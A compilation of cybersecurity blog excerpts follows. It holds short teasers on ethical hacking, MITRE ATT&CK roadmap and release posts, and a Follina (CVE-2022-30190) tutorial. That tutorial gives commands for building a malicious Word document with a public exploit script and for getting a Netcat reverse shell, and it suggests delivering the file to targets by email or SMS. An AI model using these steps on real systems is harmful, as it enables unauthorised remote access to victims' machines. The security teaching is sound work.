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Social Engineering Techniques

A CEH’s Perspective Social engineering techniques are becoming increasingly sophisticated, and as a Certified Ethical Hacker (CEH), it is essential to be aware of these techniques to prevent social engineering attacks. Social engineering involves using psychological manipulation to trick people into divulging sensitive information or performing an action that benefits the attacker. Social engineering is …

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Gaining Access: Unveiling the Techniques, Implications, and Safeguards

Launching a cyber attack on an IT system or network has many similarities with infiltrating a physical building or location. For one, the attackers need a way to gain access to the inside — whether sneaking through a ground-floor window or exploiting a hidden vulnerability in a software application. Gaining access is a crucial step in cyber attacks, which means that ethical hackers need to be familiar with how it works and the most popular techniques for gaining access. Below, we’ll discuss the definition of gaining access in cyber security, the ways to safeguard IT environments from attackers gaining access, and more.

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Botnet Attacks and Their Prevention Techniques Explained 

| Penetration Testing Botnet attacks are a massive cybersecurity threat, growing quickly and becoming increasingly sophisticated. According to CSO Online, researchers detected 67 million botnet connections from over 600,000 unique IP addresses in the first half of 2022. This article will discuss what botnet attacks are and the most effective techniques for botnet attack prevention.…

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Advanced Penetration Testing Techniques

CEH Methodology Introduction Penetration testing, also known as pen testing, is an authorized and simulated cyber attack on a computer system, network, or application to identify potential vulnerabilities and determine how a malicious attacker can exploit them. Certified Ethical Hacker (CEH) is a professional certification that validates a person’s expertise in ethical hacking and penetration …

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How Penetration Tests Can Prevent Social Engineering Attacks | EC-Council

How Can Penetration Testing Prevent Social Engineering Attacks? Sensitive information is everywhere, from the databases of the world’s largest corporations to the social media pages of everyday individuals. Cybercriminals actively seek to acquire this data through social engineering techniques. Since successful cyberattacks can be extremely costly for organizations, it’s essential to understand how to combat…

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What is Footprinting and its Techniques in Ethical Hacking?

Reading Time: 3 minutes Many youngsters are interested in cybersecurity aspects with the increase and widespread of cybersecurity concepts and career opportunities. Ethical hacking is one of the major topics that gained a lot of attention and interest. There has been a rise in data breaches, ransomware, compromised data by various means, etc. To catch a hacker, it is…

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ATT&CK 2024 Roadmap

Enhancing usability, expanding scope, optimizing defenses

2023 was dynamic year for ATT&CK. We marked a decade of progress since the framework’s inception and achieved some key milestones to make ATT&CK more accessible for a wider community. Our scope (slightly) expanded to encompass activities adjacent to direct Enterprise interactions, such as non-technical, deceptive practices and social engineering techniques (Financial Theft, Impersonation, and Spearphishing Voice). We enhanced detection capabilities with integrated notes, pseudocode from CAR, and BZAR-based analytics. The ICS matrix welcomed the addition of Assets to enhance inter-sector communication and mapping. We rolled out Mobile-specific data sources, structured detections, and behaviors like smishing, quishing, and vishing. Website navigation was improved, along with a faster Search bar, and updates that hit you faster than you can say “resources/changelog.html”. We also maintained a steady cadence of updates and new content from the ATT&CK team and external contributors.

In October, we successfully held ATT&CKcon 4.0, with new insights shared and realistic applications demonstrated by practitioners. And finally, we kickstarted the ATT&CK Benefactor program.

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2024 Roadmap: Vision & Goals

Since launching ATT&CK, we’ve been humbled to witness how the community has integrated it across widely varied spheres and around the globe. The vision for ATT&CK has always been to enable the broadest use across the widest spectrum of stakeholders — whether you’re cross-mapping between domains, annotating and developing tailored Navigator layers, or using the framework as a blueprint to build multi-platform threat models. ATT&CK was designed to empower defenders precisely where they need it most. This is the core thesis for ATT&CK, and as its stewards, we’ll continue prioritizing measures that advance a more inclusive, relevant, and actionable framework.

In line with this vision, our 2024 goals are to bolster broader usability and enhance actionable defensive measures for practitioners across every domain. This includes exploring scope adjustments and platform rebalancing, as well as implementing structural modifications with the introduction of ICS sub-techniques. A core focus will be reinforcing defensive mechanisms and optimizing their user-friendliness. We’ll be bridging Linux and macOS information gaps and enhancing prominent adversary representation. The ATT&CK Navigator, Workbench, and website will feature reengineering to improve accessibility and enable swifter ATT&CK Group/Software/Campaign updates. We’ll also be sunsetting the TAXII 2.0 server by December 18 in favor of the upgraded TAXII 2.1 version. Finally, we’ll continue amplifying the key driver behind ATT&CK — community collaboration. This includes hosting ATT&CKcon 5.0 in October, and maintaining support for the European Union (EU) and Asia-Pacific (APAC) ATT&CK Community Workshops.

Enterprise | Integrated Defense

In tune with ATT&CK’s vision, we’re continuously re-evaluating Enterprise’s scope to more accurately reflect the threats faced by real defenders. Matrices and platforms are conceptual schematics, not real-world structures, and we’re assessing realignments, expansions, and refinements of platforms to represent interconnected organizations, the adversaries they encounter, and the reality of defenders. Our goal is to advance a cohesive and integrated framework that provides more functional use cases and empowers users to visualize and create adaptable defenses against cross-platform threats.

Cloud | Matrix Balance & More Actionability

Our Cloud goal this year is to enable defenders (both new and seasoned) to better leverage the Cloud matrix for defensive action. This includes focusing on emerging and significant threats to the domain, upgrading Cloud analytics, and optimizing the balance between generalization and detail in the matrix.

With a considerable portion of cloud identities retaining super admin access, and the frequency of identity-related intrusions across the domain, we’ve been reinforcing and creating more detailed techniques for identity-based attacks. We’ll also be diving into the exploitation of Continuous Integration/Continuous Deployment (CI/CD) pipelines and the malicious use of Infrastructure as Code (IaC). Our Cloud analytics effort will elevate your actionability, by outlining the steps to detect specific behaviors, and providing additional context on what to find and collect.

We’ll also be evaluating how to best refine the balance between abstraction and specificity in the matrix. Our exploration will assess if the platforms are broad enough to cover a wide range of cloud environments and threats, yet specific enough to inform defensive actions. This balance is crucial for the matrix to remain practical and useful for defenders operating in diverse cloud environments. Our aim is to make navigating the Cloud matrix more intuitive and enable users to prioritize techniques relevant to their specific platform.

Ready to navigate the Cloud with us? Sail over to #cloud_attack.

macOS/Linux | Countermeasures for Priv Esc and Defense Evasion

Our goal for Linux and macOS is to equip practitioners with more robust countermeasures and help bridge the information gap on defending these systems. We’ll continue tracking down in-the-wild adversary behaviors and building more macOS and Linux-only (sub)techniques to optimize defensive arsenals. For Linux we’ll be exploring privilege escalation and defense evasion to better align with in-the-wild adversary activity. On the macOS side, we’ll be strategically bolstering the platform, with a particular emphasis on threats associated with elevated permissions.

If you have intelligence or technique ideas, we would love to collaborate. We rely on the practitioners who work with these systems day-in and day-out to help us identify gaps and provide invaluable insights. Ready to contribute? email us and join our #linux_attack or #macos_attack slack channel.

Defensive Coverage | Upgrading, Converting & Restructuring Defensive Measures

Our Defensive goal this year is to expand detections and mitigations to help you better optimize your detection engineering — and maybe get a little more actionable. The April release will include both new and updated mitigations that incorporate best practices from contributors, and industry standards meticulously mapped by our defense team.

Over the past few months, we’ve also been examining analytic language approaches. Our aim? Transforming detection logic into formats compatible with different security tools, including more consistent with real-world query languages such as Splunk . This will simplify the process of aligning your SIEM data with ATT&CK detections, making it easier to understand. We’re also incorporating data collection sources for a given detection query. For example, pulling information from Windows Event logs or Sysmon and the associated Event Code. The new analytic style in ATT&CK will overhal the previously used CAR-like pseudocode, and will be the model for future analytics. This will enhance compatibility across various environments and help you hunt threats more efficiently.

Lately, we’ve been prioritizing improving detections under the Execution tactic, where some of the most employed techniques fall. v15 will showcase a subset of these enhanced detections, featuring the trifecta of CAR (Cyber Analytics Repository) pseudocode, BZAR-based analytics (Bro/Zeek ATT&CK-based Analytics and Reporting) and detection notes.

Gearing up for October, we’ll be completing the enhanced detections for Execution, sculpting out Credential Access detections, exploring the universe of Cloud analytics, and navigating how to restructure our data sources for improved accessibility. This means sprucing up data source definitions and matching them to everyday use cases like sensor mappings. This way, you can more easily identify the tools and events that clue you in on shady activity. Additionally, you can opt for the data sources that best align with your specific needs. The revamp will also include the introduction of STIX IDs for data components, making it more intuitive to reference and integrate data sources.

Join our ranks at #defensive_attack channel.

ICS | Subs, Asset Expansion, & Cross-Domain Integration

ICS is leveling up this year. Our goals include broadening ICS horizons with new asset coverage, exploring platform scope expansion, and continuing our multi-domain integration quest. We’ll also be diving deeper into adversary behaviors with the introduction of sub-techniques. v15 will showcase some of integration efforts, with the release of cross-mapped campaigns. These campaigns track IT to OT attack sequences, helping defenders better understand multi-domain intrusions and informing unified defense strategies across technology environments.

The October release will feature a structural shake-up, with the first tranche of the long-awaited sub-techniques. Like Enterprise and Mobile sub-techniques, ICS subs will break down techniques into more detail. This increased granularity allows defenders to understand the nuances of adversaries’ execution of a given technique, enhancing their ability to detect and mitigate them. The technique restructuring will involve modifying the name and scope of techniques and integrating them more effectively with other domains. This integration will foster a more comprehensive defensive approach on both the right and left of launch. You can expect a subs crosswalk to help you understand our decisions and how things map between deprecated and new techniques.

October will also include some additional treats with Asset coverage expansion, building upon the Asset refactoring in v14. The refactoring strived to provide a clearer picture of the devices, systems, or platforms a specific technique could target and introduced the concept of Related Assets. Related Assets links cross-sector Assets that share similar functions, capabilities, and architectural locations/properties, highlighting that they may also be susceptible to the same techniques. v16 will feature additional Related Assets, as well as more in-depth definitions and refined mappings of technique relationships for different devices and systems. You can start leveraging Assets for your defensive activities by viewing the technique mappings from Asset pages, or by reviewing Asset mappings from a technique page. We’ll also be scouting how to incorporate additional sectors such as such as maritime, rail, and electric.

We welcome input from all sectors on how to improve identification of key assets and any additional adversary behaviors you have observed in the wild. Reach out to us at [email protected] or #ics_attack

Mobile | Detections & Mitigations Optimization + PRE Exploration

Mobile’s goal is to dial up the pre-and-post-compromise defensive measures this year, with a detections and mitigations upgrade and an exploratory mission into pre-intrusion behaviors for the matrix. We introduced Mobile structured detections in v14 and will continue building out structured detections as well as expanding our mitigations across the matrix. For optimal actionability, we’ll be leveraging the best practices and tangible experiences from the mobile security community.

In the coming months we’ll also be evaluating how to enhance inter-domain connectivity across platforms and exploring integrating proactive tactics into the Mobile matrix. Our goal is to better reflect evolving adversary activity targeting the domain. This research quest will examine adversary actions before attacks, like active and passive Reconnaissance, and acquiring or developing resources for targeting purposes.

Collaboration and knowledge-sharing with the community will to be a driver for Mobile’s development in 2024. In addition to ramping up detections and mitigations, we’re particularly interested in partnering with mobile defenders to examine potential areas where communications platforms or domains could be added into ATT&CK. If you’re interested, connect via [email protected] or join #mobile_attack.

Software Development | Enhanced Usability & Streamlined Workflows

Our Software goals this year are to increase usability across ATT&CK Workbench and Navigator, and streamline Groups and Software releases. Adversaries evolve quickly, so we’re optimizing Workbench workflows to harmonize Group and Software releases more closely to their cadence. This includes developing enhanced search capabilities, improving ATT&CK object-collection association, and overhauling the Collection Manager UI for the ATT&CK Workbench. These renovations will fine-tune the approval of ATT&CK object changes and the matching of collection bundle differences with official ATT&CK changelog types, resulting in swifter releases.

For ATT&CK Navigator, we’re refining the user experience, and the experience of anyone reading your reports. We’ll be upgrading SVG export function for sleeker output designs, providing smoother navigation with intuitive export controls, and rolling out an in-website tutorial for mastery of all the key features. We’ll also be updating the official content source to the STIX 2.1 repository — making everything a little more robust and flexible.

Finally, we’re taking our TAXII server to the next level! We’ll be sunsetting the TAXII 2.0 server by December 18, as we transition to the upgraded TAXII 2.1 version. You can access the documentation for TAXII 2.1 server in our GitHub repository. Remember to switch URLs for TAXII 2.1 clients to connect to https://attack-taxii.mitre.org instead of https://cti-taxii.mitre.org. And get ready to experience enhanced features and smoother operations.

Cyber Threat Intelligence | More Cybercriminal, Underrepresented Groups

With CTI, our mission is to better reflect the reality of the threat landscape by infusing more cybercriminal and underreported adversary activity into the framework. By bridging gaps in representation and minimizing those unknowns, we aim to provide defenders with better insights and tools to counter a wider array of threats. A pivotal aspect of this effort includes gap assessments of Groups, Software, and Campaigns. These evaluations will help us pinpoint any disparities between the current content and the reality of adversary activities.

Our releases this year will feature more cybercriminal operations and under-monitored regions, including Latin America, offering a more nuanced understanding of global threats. We’re also collaborating with ATT&CK domain leads to expand coverage of cross-domain intrusions to inform a more unified approach to undermining adversaries.

To join this quest, engage at [email protected]

Community Collaboration

ATT&CK Community Workshops | Practitioner-led Forums for Activating ATT&CK

We’re always inspired to see how ATT&CK is being used in innovative ways to upgrade defensive capabilities. The regional ATT&CK community workshops — organized by practitioners, for practitioners — provide forums to share insights, use cases, and collaborative approaches for leveraging ATT&CK.

ATT&CKcon 5.0 | Great Speakers, Content, & Conversations around ATT&CK

ATT&CKcon 5.0 will be arriving in October, featuring both virtual and in-person attendance from McLean, VA. Stay tuned to our Twitter and LinkedIn channels for updates on our Call for Presentations, which will open in the coming months, followed by our illustrious speaker lineup. If your organization is thinking about joining the ATT&CKcon adventure as a sponsor, please reach out to us at [email protected].

Benefactor Program | Empowering Defenders, Sustaining Independence

We want to take a moment to share some insights into the foundational tenants and financial realities of ATT&CK. Much like we crowd-source intelligence and rely on community contributions, ATT&CK itself was built to be independent, responsive, and part of the global community.

From the outset, we deliberately chose not to align ATT&CK with any specific government department or agency. This decision was made to maintain autonomy, flexibility, and to foster collaboration across the broadest spectrum of stakeholders. While this approach has facilitated agility and international partnerships, it also means that ATT&CK lacks a dedicated funding source.

To bridge this funding gap and ensure the continuity of our operations, as well as expanding into new domains, we launched the Benefactor Program last year. This program enables tax-deductible, charitable donations from individuals and organizations who believe in ATT&CK’s mission. These contributions allow us to continue offering free and accessible services while also advancing our capabilities and scope.

We are immensely grateful for the support we have received thus far from initial benefactors SOC Prime, Tidal Cyber, and Zimperium. We remain committed to serving the community with transparency; whether you’re a contributor, a fellow defender, or just getting started, we thank you for being part of ATT&CK’s journey.

Looking Forward

Mark your calendars for the v15 release on April 23! You’ll see some novel content interspersed with familiar elements, as well as more practical defensive measures.

As always, we value the opportunity to collaborate with you in ensuring that ATT&CK remains a living framework, where each contribution, conversation, or new implementation fuels its evolution. We look forward to continuing this adventure with you.

Connect with us on email, Twitter, LinkedIn, or Slack.

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ATT&CK v14 Unleashes Detection Enhancements, ICS Assets, and Mobile Structured Detections

Credit: https://flic.kr/p/dzyK9x CC BY-SA 2.0

ATT&CK has been brewing up something eerie for this Halloween — a release so hauntingly powerful that it will send a chill down the spine of even the most formidable adversaries. As v14 emerges from the depths, we’re proud to present a more robust and finely-tuned knowledge base. So, grab your flashlights and keep your wits about you as you navigate the latest changes, including enhanced detection guidance for many techniques, a (slightly) expanded scope on Enterprise and Mobile, Assets in ICS, and Mobile Structured Detections.

For the rest of our regular updates/additions across Techniques, Software, Groups and Campaigns take a look at our release notes, our detailed changelog, or our changelog.json.

Detection Upgrade with Analytics

In ATT&CK v13 we started adding “detection notes” and pseudocode analytics from CAR (Cyber Analytics Repository) directly into some detections. In v14 we’ve dramatically expanded the number of techniques with a new easy button and added a new source of analytics. One focus this release was Lateral Movement, which now features over 75 BZAR-based analytics! BZAR (Bro/Zeek ATT&CK-based Analytics and Reporting) is a subset of CAR analytics that enable defenders to detect and analyze network traffic for signs of ATT&CK-based adversary behavior. Moving forward, we plan to continue working across tactics to enhance detection approaches.

Example BZAR-derived Analytic

Also new: enhanced relationships between detections, data sources, and mitigations. Improving techniques is a collaborative and iterative process, and we work with the community to identify new procedures and enhance data sources and mitigations. This release includes updated technique alignments to data sources and mitigations, better reflecting the most effective defensive measures for the impacted techniques.

Jump into the #defensive_attack channel to be part of the action.

Enterprise’s New(ish) Frontier

Since its inception, ATT&CK has been dynamic, designed to catalog, categorize, and adapt to real-world adversary behaviors that primarily involve direct interaction with devices, systems, and networks. Over the past decade, this adaptability and focus has empowered defenders through consistent, threat-informed resources. As adversaries continually evolve their exploitation of human vulnerabilities, ATT&CK has expanded its scope with this release, encompassing more activities that are adjacent to, yet lead to direct network interactions or impacts. The increased range incorporates deceptive practices and social engineering techniques that may not have a direct technical component, including Financial Theft (T1657: Financial Theft), Impersonation (T1656: Impersonation), and Spearphishing Voice (T1598.004: Phishing for Information: Spearphishing Voice).

Think some behaviors are still missing? Your input remains essential as we continue to expand ATT&CK’s horizons and refine content to match advancing adversary tactics. Email or Slack us what you’re seeing.

Assets Join the ICS Arsenal

We’ve been working on Asset refactoring for a while, and we’re thrilled to introduce the results of our initial efforts. v14 features 14 inaugural Assets, representing the primary functional components of the systems associated with the ICS domain. These Asset pages include in-depth definitions, meticulous mappings to techniques, and a list of related Assets. Our primary goals for Assets are to provide a common language for inter-sector communication, and to empower underrepresented sectors to leverage ATT&CK mappings, fostering meaningful communication about risks and threats. You can also now find Assets on the ATT&CK Navigator.

The Data Gateway Asset

The Assets refactoring process involved an in-depth review of relevant CTI, researching and refining the resulting definitions based on industry standards, and analyzing how the device features map to ATT&CK Techniques. We look forward to leveraging the deep insights from our industry partners as we continue refining and expanding Assets.

A Partial List of Assets

If you’re interested in contributing, head over to the recently created #ics_attack channel.

Reeling in Mobile Threats with Phishing & Structured Detections

With Enterprise increasing its scope a bit, Mobile has also expanded its coverage to include Phishing (Phishing:T1660), which encompasses phishing attempts through vectors including SMS messaging (“smishing”), Quick Response (QR) codes (“quishing”), and phone calls (“vishing”). Mobile Phishing features a new mitigation (M1058: Antivirus/Antimalware), to enhance anti-virus and malware defenses. Also introduced with this release, Mobile structured detections. This allows you to explicitly see the required inputs (Data Sources) for each detection, along with how to analyze the data to identify a specific Technique (detection). Structured detections are part of the ongoing endeavor to bring Mobile to parity with Enterprise.

Next up? Refining existing mitigations and working with the Mobile security community to identify new content. Get involved at #mobile_attack.

Enhancing Your Website Navigation Experience

We’ve refined the navigation bar of the ATT&CK website, streamlining its structure and content to enhance the user experience and overall ease of navigation. Over time, our navigation bar accumulated a lot of ‘stuff’, and we hope this update strikes a balance between necessary links and user needs. The updated navigation bar features a single dynamic menu display, with access to secondary links (most previously featured on the primary bar) in associated dropdown menus:

Love it? Hate it? Let us know.

Looking Forward

We want to extend our deepest gratitude to the heroes of this release — our dedicated contributors. Your relentless commitment to enhancing collective defenses are the true magic behind ATT&CK. As 2023 draws to its end, let’s keep the collaboration alive, because together, we’ll continue to ward off the threats that go bump in the night. Stay vigilant, stay curious, and stay safe — and remember, with ATT&CK, every day is a day to keep adversaries at bay.

As always, connect with us on email, Twitter, or Slack.

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Follina — Microsoft MSDT Vulnerability

On Windows computers we use various products of Microsoft. For that reason there has a tool called MSDT (Microsoft Support Diagnostic Tool). A cybersecurity researcher “Kevin Beaumont” found it on MSDT (it was already being using) and report about it. He named it “Follina“. Let’s learn about it.

What is MSDT ?

The Microsoft Support Diagnostic Tool (MSDT) collects information to send to Microsoft support. Then Microsoft support analyze the collected information and use it to solve any problems that we may be getting on our computer. It basically collects data from our system and send to Microsoft support. It is Microsoft’s Diagnostic Troubleshooting Wizard. It has existed as an installed tool in “C:WindowsSystem32” since Windows 7.

follina msdt zero day vulnerability

What is Follina?

Microsoft accepts that a new zero-day RCE (Remote Code Execution) flaw in it’s MSDT application. Which named Follina.

Follina is a remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights.

The attacker can access user privileges with any application or even shell. Attacker can install programs, view, change, delete data or create new accounts with the user privilege. Follina’s CVE number is CVE-2022-30190.

Let’s stop the discussion here, now jump on the practical use of this exploit.

Exploring Follina

As we learnt this is a MSDT (Microsoft Support Diagnostic Tool) vulnerability. That means Microsoft Windows system will be affected, so we need Windows system on our VirtualBox and we are going to use our Kali Linux as attacking machine.

Now on our attacker box (Kali Linux) we need to clone John Hammond’s Follina repository from GitHub by applying following command:

git clone https://github.com/JohnHammond/msdt-follina

In the following screenshot we can see the output of the following command.

msdt-follina github repo clonning

Now we need to move to our just cloned directory by using following command:

cd msdt-follina

Now here we just need to apply following command:

python3 follina.py -i X.X.X.X

In the above command X.X.X.X is our IP address. Now in the following screenshot we can see that our malicious doc file is created and it starts listener for it’s HTML payload on 8000 port.

Follina starts listning

Now we can see the malicious file on our Files (inside msdt-follina directory), as we can see in the following screenshot:

We need to send it to our target’s Windows system. Here we can apply our social engineering techniques to hook our target. We can mail it or sent juicy SMS with download link of malicious DOC file. We hosted it on our decentralized cloud storage. (To use it externally we need to use our external IP and forward required port).

Whenever our target Windows system open it, and click on “Enable Editing” on MS Word (Older Version of MS Office don’t require this, we can get them directly), we get reverse connection back on our Kali Linux, as we can see in the following screenshot:

got reverse connection

By default John’s script just opens Calculator application on Windows

opeing windows calculator app using follina

But it can do much more it we create the payload by using following command then we can even get shell:

python3 follina.py -r 7777

In the above command we use 7777 port to make the connection with payload, we can use any not using port here.

The above command will create a payload of Netcat and start the listener, and create a DOC file on the msdt-follina directory. After our target clicks on “Enable Editing”, we got shell on reverse connection as we can see in the following screenshot:

got shell on Windows system

Now we can do anything the user of victim computer can do. This vulnerability is not likely to be patched for at least last week. Our article is inspired from our friend NetworkChuk’s YouTube video we can see his following video (we did a little bit changes to avoid errors):

Warning:- This article is just for educational purpose only. We did it on our own system and we don’t harm anyone. Do things on your own system and never ever compromise other’s system without proper written premonitions. We don’t support any illegal activity.

How to be safe form Follina?

Microsoft published a proper article that shows how we can be safe from Follina exploit. But as we know first of all we don’t need to open suspicious links or files from the internet. Things could be worse then we think because there may be lot’s of zero-day exploits we don’t know about. Be careful, Be safe.

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What is Cyber Threat Intelligence

Threat intelligence is the analysis of data using tools and techniques to generate meaningful information about existing or emerging threats targeting the organization that helps mitigate risks. Threat Intelligence helps organizations make faster, more informed security decisions and change their behavior from reactive to proactive to combat the attacks. What is cyber threat intelligence and…

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